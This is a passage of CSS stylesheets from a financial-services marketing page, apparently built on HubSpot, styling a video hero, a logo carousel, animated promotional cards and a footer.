12px; 1772 margin-top:40px; 1773 border-radius:6px; 1774 transition:transform .15s ease,box-shadow .15s ease,background .2s ease; 1775 will-change:transform,background-color; 1776} 1777 1778#hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .cta:hover { transform:translateY(-1px); } 1779 1780#hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .cta:active { 1781 background:#8f74ff; 1782 transform:translateY(0); 1783} 1784 1785#hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .cta:focus-visible { 1786 outline:3px solid #fff; 1787 outline-offset:3px; 1788} 1789 1790@media (prefers-reduced-motion:reduce) { 1791 #hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .cta { transition:none; } 1792 1793 #hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .hero-video { 1794 animation:none; 1795 transform:none; 1796 } 1797} 1798 1799@media (max-width:900px) { 1800 #hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .hero-video { object-position:70% center; } 1801 1802 #hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .hero-scrim { background:radial-gradient(1000px 100% at -20% 50%,rgba(0,0,0,.82) 0%,rgba(0,0,0,.22) 55%,rgba(0,0,0,.45) 100%),linear-gradient(90deg,rgba(0,0,0,.6) 0%,rgba(0,0,0,.4) 45%,rgba(0,0,0,.32) 80%,rgba(0,0,0,.45) 100%); } 1803} 1804 1805@media (max-width:560px) { 1806 #hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .hero { 1807 padding:56px clamp(16px,4vw,48px); 1808 height:auto; 1809 } 1810
1811 #hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .hero-title {} 1812 1813 #hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .hero-sub {} 1814 1815 #hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .cta { 1816 padding:12px 16px; 1817 margin-top:0px; 1818 } 1819 1820 #hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .hero-video { object-position:75% center; } 1821 1822 #hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .hero-title { 1823 font-size:30px; 1824 font-weight:400; 1825 } 1826 1827 #hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .hero-sub { 1828 font-size:30px; 1829 font-weight:700; 1830 } 1831 1832 #hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .hero-inner { 1833 margin-top:100%; 1834 text-align:left; 1835 margin-left:15px; 1836 } 1837} 1838 1839</style> 1840 1841 1842<style> 1843 #hs_cos_wrapper_dnd_area-module-5 .section-carousel-logo * { box-sizing:border-box; } 1844 1845#hs_cos_wrapper_dnd_area-module-5 .section-carousel-logo { 1846 height:100%; 1847 margin:0; 1848 font-family:system-ui,-apple-system,Segoe UI,Roboto,Arial,sans-serif; 1849 background:#fff; 1850 display:grid; 1851 place-items:center; 1852 padding:30px 0; 1853} 1854 1855#hs_cos_wrapper_dnd_area-module-5 .section-carousel-logo .carousel { 1856 width:100%; 1857 overflow:hidden; 1858 position:relative; 1859 cursor:grab; 1860 user-select:none; 1861} 1862 1863#hs_cos_wrapper_dnd_area-module-5 .section-carousel-logo .carousel-track { 1864 display:flex; 1865 align-items:center; 1866 gap:87px; 1867 will-change:transform; 1868} 1869 1870#hs_cos_wrapper_dnd_area-module-5 .section-carousel-logo .carousel img { 1871 height:80px; 1872 width:auto; 1873 object-fit:contain; 1874 filter:grayscale(20%); 1875 transition:filter .25s ease; 1876 pointer-events:none; 1877 flex:0 0 auto; 1878 display:block; 1879} 1880 1881#hs_cos_wrapper_dnd_area-module-5 .section-carousel-logo .carousel:hover img { filter:grayscale(0%); } 1882 1883@media (max-width:480px) { 1884 #hs_cos_wrapper_dnd_area-module-5 .section-carousel-logo .carousel img { height:60px; } 1885 1886 #hs_cos_wrapper_dnd_area-module-5 .section-carousel-logo .carousel-track { gap:28px; } 1887} 1888 1889</style> 1890 1891 1892<style> 1893 #hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .h-bank-card { 1894 width:100%; 1895 padding:0 15px; 1896 margin:32px auto; 1897 display:flex; 1898 justify-content:center; 1899} 1900 1901#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .h-bank-card__inner { 1902 max-width:1028px; 1903 width:100%; 1904 display:grid; 1905 grid-template-columns:1fr 1fr; 1906 border-radius:24px; 1907 overflow:hidden; 1908 box-shadow:0px 4px 24px 0px rgba(0,0,0,0.1); 1909} 1910 1911#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .h-bank-card--reverse .h-bank-card__inner { direction:rtl; } 1912 1913#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .h-bank-card--reverse .h-bank-card__content { direction:ltr; } 1914 1915#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .h-bank-card--reverse .h-bank-card__media { direction:ltr; } 1916 1917#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .h-bank-card__media { 1918 min-height:320px; 1919 position:relative; 1920 overflow:hidden; 1921} 1922 1923#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .h-bank-card__media>* { 1924 width:100%; 1925 height:100%; 1926 display:block; 1927} 1928 1929#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .h-bank-card__media .animation-scene { 1930 width:100%; 1931 height:100%; 1932 min-height:360px; 1933} 1934 1935#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .h-bank-card__content { 1936 background:#F5F5F7; 1937 padding:60px 56px; 1938 display:flex; 1939 flex-direction:column; 1940 justify-content:center; 1941 gap:0; 1942} 1943 1944#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .h-bank-card__content h2 { 1945 margin:0 0 20px; 1946 font-size:clamp(24px,2.8vw,34px); 1947 line-height:1.2; 1948 font-weight:700; 1949 color:#343434; 1950} 1951 1952#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .h-bank-card__content p { 1953 margin:0 0 28px; 1954 color:#555; 1955 line-height:1.6; 1956 font-size:16px; 1957 max-width:38ch; 1958} 1959 1960#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .h-bank-card-btn { 1961 align-self:flex-start; 1962 display:inline-block; 1963 padding:10px 20px; 1964 background:#7835C3; 1965 color:#fff; 1966 text-decoration:none; 1967 font-weight:600; 1968 font-size:16px; 1969 border-radius:8px; 1970 line-height:1; 1971 transition:background 0.2s ease,box-shadow 0.2s ease,transform 0.15s ease; 1972} 1973 1974#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .h-bank-card-btn:hover { 1975 background:#6530A1; 1976 box-shadow:0 4px 14px rgba(120,53,195,0.3); 1977 transform:translateY(-1px); 1978} 1979 1980#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .h-bank-card-btn:focus-visible { 1981 outline:3px solid #7835C3; 1982 outline-offset:3px; 1983 border-radius:8px; 1984} 1985 1986@media (max-width:860px) { 1987 #hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .h-bank-card__inner { 1988 grid-template-columns:1fr; 1989 direction:ltr !important; 1990 } 1991 1992 #hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .h-bank-card--reverse .h-bank-card__inner { direction:ltr; } 1993 1994 #hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .h-bank-card__media { min-height:240px; } 1995 1996 #hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .h-bank-card__content { padding:36px 32px 40px; } 1997 1998 #hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .h-bank-card__content p { max-width:100%; } 1999} 2000 2001@media (max-width:480px) { 2002 #hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .h-bank-card__content { padding:28px 22px 32px; } 2003 2004 #hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .h-bank-card__content h2 { font-size:26px; } 2005} 2006 2007#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .section-wrapper { 2008 display:flex; 2009 width:90%; 2010 max-width:1100px; 2011 height:450px; 2012 background:#F5F5F7; 2013 border-radius:20px; 2014 box-shadow:0 10px 30px rgba(0,0,0,0.05); 2015 overflow:hidden; 2016 transition:all 0.3s ease; 2017} 2018 2019#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .animation-scene { 2020 position:relative; 2021 width:55%; 2022 height:100%; 2023 overflow:hidden; 2024 background:linear-gradient(180deg,#E6E6FA 0%,#FFFFFF 100%); 2025} 2026 2027#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .img-asset { 2028 position:absolute; 2029 display:block; 2030 height:auto; 2031 object-fit:contain; 2032} 2033 2034#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .layer-bg { 2035 width:110%; 2036 height:110%; 2037 position:absolute; 2038 left:-5%; 2039 top:-5%;
2040 z-index:0; 2041} 2042 2043#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .layer-fg { 2044 width:100%; 2045 position:absolute; 2046 bottom:10px; 2047 left:0; 2048 z-index:3; 2049} 2050 2051#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .car-img { 2052 width:180px; 2053 bottom:-5px; 2054 z-index:4; 2055 left:100%; 2056 animation:driveInfinite 5s linear infinite; 2057} 2058 2059@keyframes driveInfinite { 2060 0% { left:100%; } 2061 100% { left:-40%; } 2062} 2063 2064#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .leaf-img { 2065 top:-50px; 2066 z-index:4; 2067 opacity:0; 2068} 2069 2070#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .l1 { 2071 left:15%; 2072 width:32px; 2073 animation:fallingLeaf 7s ease-in-out infinite; 2074 animation-delay:0s; 2075} 2076 2077#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .l2 { 2078 left:40%; 2079 width:55px; 2080 animation:fallingLeaf 9s ease-in-out infinite; 2081 animation-delay:4s; 2082} 2083 2084#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .l3 { 2085 left:65%; 2086 width:40px; 2087 animation:fallingLeaf 8s ease-in-out infinite; 2088 animation-delay:2s; 2089} 2090 2091#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .l4 { 2092 left:85%; 2093 width:22px; 2094 animation:fallingLeaf 11s ease-in-out infinite; 2095 animation-delay:5s; 2096 filter:blur(1px); 2097} 2098 2099@keyframes fallingLeaf { 2100 0% { 2101 top:-10%; 2102 opacity:0; 2103 transform:rotate(0deg) translateX(0); 2104 } 2105 10% { opacity:1; } 2106 85% { opacity:1; } 2107 100% { 2108 top:100%; 2109 opacity:0; 2110 transform:rotate(360deg) translateX(60px); 2111 } 2112} 2113 2114#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .text-content { 2115 width:45%; 2116 padding:60px; 2117 display:flex; 2118 flex-direction:column; 2119 justify-content:center; 2120 z-index:5; 2121 background:#F5F5F7; 2122 box-sizing:border-box; 2123 box-shadow:0px 4px 4px 0px #00000040; 2124} 2125 2126#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .brand-title { 2127 font-weight:900; 2128 color:#343434; 2129 margin:0; 2130 font-size:16px; 2131 letter-spacing:0.5px; 2132} 2133 2134#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .main-headline { 2135 font-size:32px; 2136 font-weight:700; 2137 color:#343434; 2138 margin:10px 0 20px 0; 2139 line-height:1.2; 2140} 2141 2142#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .description { 2143 font-size:14px; 2144 color:#343434; 2145 line-height:1.6; 2146 margin-bottom:30px; 2147} 2148 2149#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .cta-button { 2150 display:inline-block; 2151 background-color:#7835C3; 2152 color:white; 2153 text-decoration:none; 2154 padding:12px 24px; 2155 border-radius:6px; 2156 font-weight:700; 2157 font-size:14px; 2158 width:fit-content; 2159 transition:transform 0.2s; 2160} 2161 2162#hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .cta-button:hover { 2163 background-color:#5e2a9c; 2164 transform:translateY(-2px); 2165} 2166 2167@media (max-width:900px) { 2168 #hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 body { 2169 height:auto; 2170 padding:20px 0; 2171 overflow-y:auto; 2172 } 2173 2174 #hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .section-wrapper { 2175 flex-direction:column; 2176 width:90%; 2177 height:auto; 2178 max-width:500px; 2179 } 2180 2181 #hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .animation-scene { 2182 width:100%; 2183 height:250px; 2184 } 2185 2186 #hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .text-content { 2187 width:100%; 2188 padding:40px 30px; 2189 text-align:center; 2190 align-items:center; 2191 } 2192 2193 #hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .main-headline { font-size:28px; } 2194 2195 #hs_cos_wrapper_dnd_area-dnd_partial-6-module-2 .car-img { width:150px; } 2196} 2197 2198</style> 2199 2200 2201<style> 2202 #hs_cos_wrapper_dnd_area-module-7 .h-bank-card { 2203 width:100%; 2204 padding:0 15px; 2205 margin:32px auto; 2206 display:flex; 2207 justify-content:center; 2208} 2209 2210#hs_cos_wrapper_dnd_area-module-7 .h-bank-card__inner { 2211 max-width:1028px; 2212 width:100%; 2213 display:grid; 2214 grid-template-columns:1fr 1fr; 2215 border-radius:24px; 2216 overflow:hidden; 2217 box-shadow:0px 4px 24px 0px rgba(0,0,0,0.1); 2218} 2219 2220#hs_cos_wrapper_dnd_area-module-7 .h-bank-card--reverse .h-bank-card__inner { direction:rtl; } 2221 2222#hs_cos_wrapper_dnd_area-module-7 .h-bank-card--reverse .h-bank-card__content { direction:ltr; } 2223 2224#hs_cos_wrapper_dnd_area-module-7 .h-bank-card--reverse .h-bank-card__media { direction:ltr; } 2225 2226#hs_cos_wrapper_dnd_area-module-7 .h-bank-card__media { 2227 min-height:320px; 2228 position:relative; 2229 overflow:hidden; 2230} 2231 2232#hs_cos_wrapper_dnd_area-module-7 .h-bank-card__media>* { 2233 width:100%; 2234 height:100%; 2235 display:block; 2236} 2237 2238#hs_cos_wrapper_dnd_area-module-7 .h-bank-card__media .animation-scene { 2239 width:100%; 2240 height:100%; 2241 min-height:360px; 2242} 2243 2244#hs_cos_wrapper_dnd_area-module-7 .h-bank-card__content { 2245 background:#F5F5F7; 2246 padding:60px 56px; 2247 display:flex; 2248 flex-direction:column; 2249 justify-content:center; 2250 gap:0; 2251} 2252 2253#hs_cos_wrapper_dnd_area-module-7 .h-bank-card__content h2 { 2254 margin:0 0 20px; 2255 font-size:clamp(24px,2.8vw,34px); 2256 line-height:1.2; 2257 font-weight:700; 2258 color:#343434; 2259} 2260 2261#hs_cos_wrapper_dnd_area-module-7 .h-bank-card__content p { 2262 margin:0 0 28px; 2263 color:#555; 2264 line-height:1.6; 2265 font-size:16px; 2266 max-width:38ch; 2267} 2268 2269#hs_cos_wrapper_dnd_area-module-7 .h-bank-card-btn { 2270 align-self:flex-start; 2271 display:inline-block; 2272 padding:10px 20px; 2273 background:#7835C3; 2274 color:#fff; 2275 text-decoration:none; 2276 font-weight:600; 2277 font-size:16px; 2278 border-radius:8px; 2279 line-height:1; 2280 transition:background 0.2s ease,box-shadow 0.2s ease,transform 0.15s ease; 2281} 2282 2283#hs_cos_wrapper_dnd_area-module-7 .h-bank-card-btn:hover { 2284 background:#6530A1; 2285 box-shadow:0 4px 14px rgba(120,53,195,0.3); 2286 transform:translateY(-1px); 2287} 2288 2289#hs_cos_wrapper_dnd_area-module-7 .h-bank-card-btn:focus-visible { 2290 outline:3px solid #7835C3; 2291 outline-offset:3px; 2292 border-radius:8px; 2293} 2294 2295@media (max-width:860px) { 2296 #hs_cos_wrapper_dnd_area-module-7 .h-bank-card__inner { 2297 grid-template-columns:1fr; 2298 direction:ltr !important; 2299 } 2300 2301 #hs_cos_wrapper_dnd_area-module-7 .h-bank-card--reverse .h-bank-card__inner { direction:ltr; } 2302 2303 #hs_cos_wrapper_dnd_area-module-7 .h-bank-card__media { min-height:240px; } 2304 2305 #hs_cos_wrapper_dnd_area-module-7 .h-bank-card__content { padding:36px 32px 40px; } 2306 2307 #hs_cos_wrapper_dnd_area-module-7 .h-bank-card__content p { max-width:100%; } 2308} 2309 2310@media (max-width:480px) { 2311 #hs_cos_wrapper_dnd_area-module-7 .h-bank-card__content { padding:28px 22px 32px; } 2312 2313 #hs_cos_wrapper_dnd_area-module-7 .h-bank-card__content h2 { font-size:26px; } 2314} 2315 2316#hs_cos_wrapper_dnd_area-module-7 .section-wrapper { 2317 display:flex; 2318 width:90%; 2319 max-width:1100px; 2320 height:450px; 2321 background:#F5F5F7; 2322 border-radius:20px; 2323 box-shadow:0 10px 30px rgba(0,0,0,0.05); 2324 overflow:hidden; 2325 transition:all 0.3s ease; 2326} 2327 2328#hs_cos_wrapper_dnd_area-module-7 .text-col { 2329 width:40%; 2330 padding:60px; 2331 display:flex; 2332 flex-direction:column; 2333 justify-content:center; 2334 z-index:5; 2335 background:#f9f9f9; 2336 box-sizing:border-box; 2337} 2338 2339#hs_cos_wrapper_dnd_area-module-7 .brand-title { 2340 font-weight:900; 2341 color:#343434; 2342 margin:0; 2343 font-size:16px; 2344 letter-spacing:0.5px; 2345 text-transform:uppercase; 2346} 2347 2348#hs_cos_wrapper_dnd_area-module-7 .main-headline { 2349 font-size:36px; 2350 font-weight:700; 2351 color:#343434; 2352 margin:15px 0 20px 0; 2353 line-height:1.1; 2354} 2355 2356#hs_cos_wrapper_dnd_area-module-7 .description { 2357 font-size:15px; 2358 color:#343434; 2359 line-height:1.6; 2360 margin-bottom:30px; 2361} 2362 2363#hs_cos_wrapper_dnd_area-module-7 .cta-button { 2364 display:inline-block; 2365 background-color:#7835C3; 2366 color:white; 2367 text-decoration:none; 2368 padding:12px 28px; 2369 border-radius:8px; 2370 font-weight:700; 2371 font-size:14px; 2372 width:fit-content; 2373 transition:transform 0.2s; 2374} 2375 2376#hs_cos_wrapper_dnd_area-module-7 .cta-button:hover { 2377 background-color:#5e2a9c; 2378 transform:translateY(-2px); 2379} 2380 2381#hs_cos_wrapper_dnd_area-module-7 .animation-col { 2382 position:relative; 2383 width:100%; 2384 height:100%; 2385 overflow:hidden; 2386 background-color:#2c1e5e; 2387} 2388 2389#hs_cos_wrapper_dnd_area-module-7 .img-asset { 2390 position:absolute; 2391 display:block; 2392 height:auto; 2393 object-fit:contain; 2394} 2395 2396#hs_cos_wrapper_dnd_area-module-7 .bg-interior { 2397 width:100%; 2398 height:100%; 2399 left:0; 2400 top:0; 2401 object-fit:cover; 2402 object-position:center center; 2403} 2404 2405#hs_cos_wrapper_dnd_area-module-7 .screen-wrapper { 2406 position:absolute; 2407 width:154px; 2408 height:auto; 2409 top:50%; 2410 left:50%; 2411 z-index:2; 2412 overflow:hidden; 2413 border-radius:4px; 2414 margin-left:-72px;
2415 margin-top:-78px; 2416} 2417 2418#hs_cos_wrapper_dnd_area-module-7 .screen-img { 2419 width:100%; 2420 height:100%; 2421 position:relative; 2422 z-index:1; 2423} 2424 2425#hs_cos_wrapper_dnd_area-module-7 .screen-light { 2426 position:absolute; 2427 top:0; 2428 left:-100%; 2429 width:200%; 2430 height:100%; 2431 z-index:2; 2432 background:linear-gradient(90deg,rgba(255,255,255,0) 0%,rgba(255,255,255,0.3) 50%,rgba(255,255,255,0) 100%); 2433 mix-blend-mode:overlay; 2434 animation:screenGlow 6s ease-in-out infinite; 2435} 2436 2437#hs_cos_wrapper_dnd_area-module-7 .wheel-img { 2438 width:175px; 2439 top:50%; 2440 left:50%; 2441 margin-top:-73px; 2442 margin-left:-284px; 2443 z-index:3; 2444 transform-origin:center center; 2445 animation:driveRoutine 6s ease-in-out infinite; 2446} 2447 2448@keyframes driveRoutine { 2449 0% { transform:rotate(0deg); } 2450 15% { transform:rotate(25deg); } 2451 30% { transform:rotate(25deg); } 2452 50% { transform:rotate(-25deg); } 2453 65% { transform:rotate(-25deg); } 2454 85% { transform:rotate(0deg); } 2455 100% { transform:rotate(0deg); } 2456} 2457 2458@keyframes screenGlow { 2459 0% { transform:translateX(0); } 2460 15% { transform:translateX(40px); } 2461 30% { transform:translateX(40px); } 2462 50% { transform:translateX(-40px); } 2463 65% { transform:translateX(-40px); } 2464 85% { transform:translateX(0); } 2465 100% { transform:translateX(0); } 2466} 2467 2468@media (max-width:900px) { 2469 #hs_cos_wrapper_dnd_area-module-7 .section-wrapper { 2470 flex-direction:column-reverse; 2471 height:auto; 2472 width:90%; 2473 max-width:400px; 2474 } 2475 2476 #hs_cos_wrapper_dnd_area-module-7 .text-col { 2477 width:100%; 2478 padding:40px 30px; 2479 text-align:center; 2480 align-items:center; 2481 } 2482 2483 #hs_cos_wrapper_dnd_area-module-7 .main-headline { 2484 font-size:28px; 2485 margin-bottom:15px; 2486 } 2487 2488 #hs_cos_wrapper_dnd_area-module-7 .animation-col { 2489 width:100%; 2490 height:280px; 2491 } 2492 2493 #hs_cos_wrapper_dnd_area-module-7 .wheel-img { 2494 width:110px; 2495 margin-top:-46px; 2496 margin-left:-176px; 2497 } 2498 2499 #hs_cos_wrapper_dnd_area-module-7 .screen-wrapper { 2500 width:90px; 2501 height:52px; 2502 margin-top:-48px; 2503 margin-left:-42px; 2504 } 2505} 2506 2507</style> 2508 2509 2510<style> 2511 #hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .financial-module { 2512 position:relative; 2513 overflow:hidden; 2514 padding-top:25px; 2515 padding-bottom:50px; 2516} 2517 2518#hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .financial-module .cta { width:205px; } 2519 2520#hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .financial-module svg { margin-left:17px; } 2521 2522#hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .left-band { 2523 position:absolute; 2524 inset:0; 2525 left:0; 2526 right:calc(50% + 27px); 2527 background:linear-gradient(213.26deg,#6530A1 0.05%,#E31952 99.95%); 2528 border-top-right-radius:59px; 2529 z-index:0; 2530} 2531 2532#hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .module-header { 2533 color:var(--color-bg); 2534 margin-bottom:30px; 2535 line-height:normal; 2536} 2537 2538#hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .module-header h2 { 2539 font-weight:700; 2540 font-size:30px; 2541 margin:0; 2542} 2543 2544#hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .module-header p { 2545 font-size:30px; 2546 margin:0; 2547} 2548 2549#hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .cards { 2550 display:grid; 2551 grid-template-columns:1fr 1fr; 2552 gap:24px; 2553 padding:50px 40px; 2554 background-color:var(--color-bg); 2555 border-radius:48px; 2556 box-shadow:0px 4px 4px 0px #00000040; 2557} 2558 2559#hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .card { 2560 position:relative; 2561 min-height:362px; 2562 border-radius:24px; 2563 overflow:hidden; 2564 color:var(--color-bg); 2565 box-shadow:0px 4px 4px 0px #00000040; 2566 isolation:isolate; 2567} 2568 2569#hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .card::before { 2570 content:""; 2571 position:absolute; 2572 inset:0; 2573 z-index:0; 2574} 2575 2576#hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .card--izq::before { background:linear-gradient(240.81deg,#E31952 3.43%,#B61442 96.65%); } 2577 2578#hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .card--der::before { background:linear-gradient(240.81deg,#522A7F 3.43%,#AE86DB 96.65%); } 2579 2580#hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .card--izq { 2581 --bg-pos:right 23px top -7px,left 0px top 0px,left 53px bottom 0px,center; 2582 --bg-size:317px auto,130px auto,469px auto,cover; 2583} 2584 2585#hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .card--der { 2586 --bg-pos:right 11px bottom -4px,right 0px top 0px,left 0px bottom 0px,center; 2587 --bg-size:307px auto,176px auto,350px auto,cover; 2588} 2589 2590#hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .card::after {
2591 content:""; 2592 position:absolute; 2593 inset:0; 2594 background-image:var(--img1),var(--img2),var(--img3),radial-gradient(120% 120% at 85% 15%,rgba(255,255,255,.08),rgba(0,0,0,.0) 60%,rgba(0,0,0,.3) 100%); 2595 background-repeat:no-repeat,no-repeat,no-repeat,no-repeat; 2596 opacity:.95; 2597 z-index:1; 2598 pointer-events:none; 2599 background-position:var(--bg-pos); 2600 background-size:var(--bg-size); 2601} 2602 2603#hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .card-inner { 2604 position:absolute; 2605 z-index:2; 2606 padding:53px 37px; 2607 bottom:0; 2608 background-color:#00000040; 2609 height:100%; 2610 width:100%; 2611 display:flex; 2612 flex-direction:column; 2613 justify-content:flex-end; 2614} 2615 2616#hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .card-inner h3 { 2617 font-weight:800; 2618 font-size:24px; 2619 margin-bottom:24px; 2620} 2621 2622#hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .card-inner p { 2623 font-size:16px; 2624 margin:0; 2625 max-width:367px; 2626 line-height:normal; 2627} 2628 2629#hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .cta { 2630 position:absolute; 2631 top:0; 2632 right:0; 2633 background:#D6C2ED; 2634 color:#5C2D90; 2635 border:0; 2636 padding-top:14px; 2637 padding-bottom:10px; 2638 padding-right:11px; 2639 padding-left:22px; 2640 border-bottom-left-radius:19px; 2641 font-weight:700; 2642 font-size:16px; 2643 cursor:pointer; 2644 z-index:3; 2645} 2646 2647@media (max-width:900px) { 2648 #hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .left-band { right:44%; } 2649} 2650 2651@media (max-width:740px) { 2652 #hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .cards { grid-template-columns:1fr; } 2653 2654 #hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .card { 2655 min-height:306px; 2656 min-width:100%; 2657 } 2658 2659 #hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .left-band { right:40%; } 2660 2661 #hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .module-header { margin-bottom:14px; } 2662} 2663 2664@media (max-width:600px) { 2665 #hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .financial-module { padding-bottom:37px; } 2666 2667 #hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .left-band { right:0; } 2668 2669 #hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .module-header { margin-bottom:20px; } 2670 2671 #hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .module-header h2 { font-size:20px; } 2672 2673 #hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .module-header p { font-size:20px; } 2674 2675 #hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .cards { padding:30px 38px; } 2676 2677 #hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .card--izq { 2678 --bg-pos:right -54px top 32px,left 0px top 0px,left 0px bottom 0px,center; 2679 --bg-size:230px auto,161px auto,325px auto,cover; 2680 } 2681 2682 #hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .card--der { 2683 --bg-pos:right -38px bottom 49px,right 0px top 14px,left 0px bottom 0px,center; 2684 --bg-size:213px auto,130px auto,234px auto,cover; 2685 } 2686 2687 #hs_cos_wrapper_dnd_area-dnd_partial-9-module-1 .card-inner { padding:27px; } 2688} 2689 2690</style> 2691 2692 2693<style> 2694 /* Footer */ 2695 .section-footer .row, .section-footer-logos .row{ 2696 flex-wrap: wrap; 2697 } 2698 .hr-22{ color: white} 2699 footer { 2700 background:transparent; 2701 border-top:1px solid #EEE 2702 } 2703 2704 footer section { 2705 background: linear-gradient(106deg, #7835C3 -13.45%, #49286F 99.9%); 2706 } 2707 footer h4 { 2708 color: #FDFDFD; 2709 } 2710 2711 footer ul[role=menu] { 2712 padding: 0; 2713 list-style-type: none; 2714 } 2715 2716 .links-col4 { 2717 margin-bottom: 47px; 2718 list-style: none; 2719 padding: 0; 2720 } 2721 2722 .links-col4 li { 2723 display: flex; 2724 justify-content: space-between; 2725 align-items: center; 2726 margin-bottom: 8px; 2727 width: 100%; 2728 } 2729 2730 .links-col4 li span { 2731 color: #fff !important; 2732 font-weight: 400; 2733 } 2734 2735 .links-col4 li a { 2736 color: #fff !important; 2737 font-weight: 700; 2738 text-decoration: none; 2739 } 2740 2741 footer ul[role=menu] li { 2742 display: flex; 2743 justify-content: space-between; 2744 } 2745 2746 footer ul[role=menu] .hs-menu-item { 2747 width: 245px; 2748 margin-bottom: 8px; 2749 } 2750 2751 footer ul[role=menu] li a, 2752 footer ul[role=menu] li span { 2753 color: #FDFDFD; 2754 line-height: 25px; 2755 } 2756 2757 footer .pt-72 { 2758 padding-top: 72px; 2759 } 2760 2761 footer .pb-34 { 2762 padding-bottom: 34px; 2763 } 2764 /* ââ Franja legal ââ */ 2765 .footer-legal { 2766 background: #f7f3ff; 2767 border-top: 1px solid rgba(120, 53, 195, 0.12); 2768 } 2769 2770 .footer-legal__container { 2771 max-width: 1240px; 2772 margin: 0 auto; 2773 padding: 14px 24px; 2774 display: flex; 2775 align-items: stretch; 2776 } 2777 2778 .footer-legal__col { 2779 flex: 1; 2780 padding: 4px 20px; 2781 display: flex; 2782 flex-direction: column; 2783 gap: 3px; 2784 } 2785 2786 .footer-legal__col:first-child { padding-left: 0; } 2787 .footer-legal__col:last-child { padding-right: 0; } 2788 2789 